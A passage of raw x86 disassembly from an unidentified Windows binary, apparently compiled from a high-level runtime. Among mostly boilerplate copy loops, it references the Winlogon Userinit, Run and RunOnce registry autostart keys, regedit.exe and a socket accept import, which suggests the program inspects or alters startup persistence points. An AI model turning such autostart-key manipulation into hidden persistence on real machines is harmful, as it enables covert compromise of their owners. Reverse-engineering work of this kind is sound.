push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x34]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x40e59a
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x3c]
push ebx
mov edi, dword [ebp - 0x40]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40e5ef
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40e5ed
imul eax, dword [edi]
jmp 0x40e5e2
mov ecx, eax
cmp ecx, 0x100
jle 0x40e5fc
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40e63a
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40e638
imul eax, dword [edi]
jmp 0x40e62d
mov ecx, eax
cmp ecx, 0x50
jle 0x40e644
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40e669
push ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x40e696
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
call fcn.0040bc84
push 0
push 0
push 0
push VariantClear
push 0
push 0x4b0428
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40e6fe
mov eax, 0x4b0200
push eax
push 3
mov ebx, 0x435e30
call fcn.00434a41
add esp, 0x28
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40e736
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40e732
imul eax, dword [ebx]
jmp 0x40e727
mov ecx, eax
test ecx, ecx
je 0x40e755
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40e74e
push ebx
push eax
call fcn.00434a35
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40e73c
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x24]
call fcn.0040325a
xor ecx, ecx
push eax
lea eax, [ebp - 0x28]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40ef2d
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40e79d
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40e7b0
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x40e7cd
mov eax, 0x4b0200
push eax
push 1
mov ebx, 0x436a40
call fcn.00434a41
add esp, 0x10
and eax, 1
xor eax, 1
test eax, eax
je 0x40e885
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40e80b
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40e81e
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40e843
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40e856
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [ebp - 0x34]
call fcn.00413f77
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x30]
mov ebx, dword [ebx]
test ebx, ebx
je 0x40e87f
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40e8a2
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40e8b5
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x40e955
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40e9aa
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40e9a8
imul eax, dword [edi]
jmp 0x40e99d
mov ecx, eax
cmp ecx, 0x100
jle 0x40e9b7
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40e9f5
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40e9f3
imul eax, dword [edi]
jmp 0x40e9e8
mov ecx, eax
cmp ecx, 0x50
jle 0x40e9ff
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x40ebb0
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40ea3e
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40ea51
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x40eaf1
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40eb46
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40eb44
imul eax, dword [edi]
jmp 0x40eb39
mov ecx, eax
cmp ecx, 0x100
jle 0x40eb53
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40eb91
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40eb8f
imul eax, dword [edi]
jmp 0x40eb84
mov ecx, eax
cmp ecx, 0x50
jle 0x40eb9b
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov ebx, dword [ebp - 0x24]
call fcn.0040325a
dec eax
jns 0x40ebd2
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40ebe5
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], esp
mov ebx, dword [ebp - 0x38]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x3c], esp
je 0x40ec1a
push 6
call fcn.00434a53
add esp, 4
mov dword [ebp - 0x40], eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push 1
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x40]
push VariantClear
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x40ec5a
mov eax, 0x4b0200
push eax
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40eca7
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40ecba
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x40ecd7
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40ed31
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40ed44
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x30]
call fcn.00403ae9
mov dword [ebp - 0x38], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40ed76
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40edc3
push ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40ede0
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40edf3
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x40ee10
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x24]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40ee6a
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40ee7d
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push dword [ebp - 0x30]
call fcn.00414d87
test eax, eax
je 0x40eedd
push VariantClear
push 0
push 0x4d14b8
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
push VariantClear
push 0
push str.SOFTWAREMicrosoftWindowsNTCurrentVersionWinlogonUserinit
push 0x80000301
push 0
push 5
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
pop eax
pop ebx
pop ecx
jmp 0x40e772
add esp, 0xc
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 0
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x10]
call fcn.00401232
pop edx
test ecx, ecx
je 0x40ef98
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x40ef8e
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x40ef7d
pop edx
pop edi
test edx, edx
je 0x40efa6
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x10]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
call fcn.00401232
mov eax, 0
cmp eax, ecx
jl 0x40efd3
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov eax, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push eax
mov ebx, dword [ebp - 0x30]
mov ebx, dword [ebx]
test ebx, ebx
je 0x40eff3
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 8]
call fcn.00401232
mov eax, 1
cmp eax, ecx
jl 0x40f017
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov eax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push eax
mov ebx, dword [ebp - 0x30]
mov ebx, dword [ebx]
test ebx, ebx
je 0x40f037
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
xor ecx, ecx
lea eax, [ebp - 0xc]
mov ebx, eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, 2
jg 0x40fc86
mov ebx, dword [ebp - 8]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x40f06f
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40f082
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x30]
push reloc.WS2_32.dll_accept
call fcn.00413b55
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
je 0x40fc7f
mov ebx, dword [ebp - 0x10]
call fcn.0040325a
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jle 0x40fc7f
mov ebx, 0xc
call fcn.0040122a
push VariantClear
push 0
push 0x4d1564
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40f14b
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40f15e
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40f1ab
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40f1f4
push ebx
call fcn.00434a35
add esp, 4
mov dword [ebp - 0x38], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x34]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x40f28a
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x3c]
push ebx
mov edi, dword [ebp - 0x40]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40f2df
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40f2dd
imul eax, dword [edi]
jmp 0x40f2d2
mov ecx, eax
cmp ecx, 0x100
jle 0x40f2ec
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40f32a
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40f328
imul eax, dword [edi]
jmp 0x40f31d
mov ecx, eax
cmp ecx, 0x50
jle 0x40f334
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40f35c
push ebx
call fcn.00434a35
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x40f514
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40f3af
push ebx
call fcn.00434a35
add esp, 4
mov dword [ebp - 0x38], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x34]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x40f445
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x3c]
push ebx
mov edi, dword [ebp - 0x40]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40f49a
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40f498
imul eax, dword [edi]
jmp 0x40f48d
mov ecx, eax
cmp ecx, 0x100
jle 0x40f4a7
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40f4e5
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40f4e3
imul eax, dword [edi]
jmp 0x40f4d8
mov ecx, eax
cmp ecx, 0x50
jle 0x40f4ef
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40f514
push ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x40f541
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x10]
call fcn.0040325a
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40fc7c
call fcn.0040bc84
mov ebx, dword [ebp - 8]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x40f5c0
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40f5d3
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x40f5f8
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40f60b
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x4b04ce
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov ecx, 3
call fcn.004011ce
add esp, 0xc
mov dword [ebp - 0x38], eax
push 0
push 0
push 0
push VariantClear
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40f64b
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x437570
call fcn.00434a41
add esp, 0x28
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40f67d
push ebx
call fcn.00434a35
add esp, 4
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40f691
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40f6a8
mov eax, 0x4b0200
push eax
push 1
mov ebx, 0x436a40
call fcn.00434a41
add esp, 0x10
and eax, 1
xor eax, 1
test eax, eax
je 0x40f6ed
lea eax, [ebp - 0x20]
push eax
call fcn.00413f77
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40f6e9
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
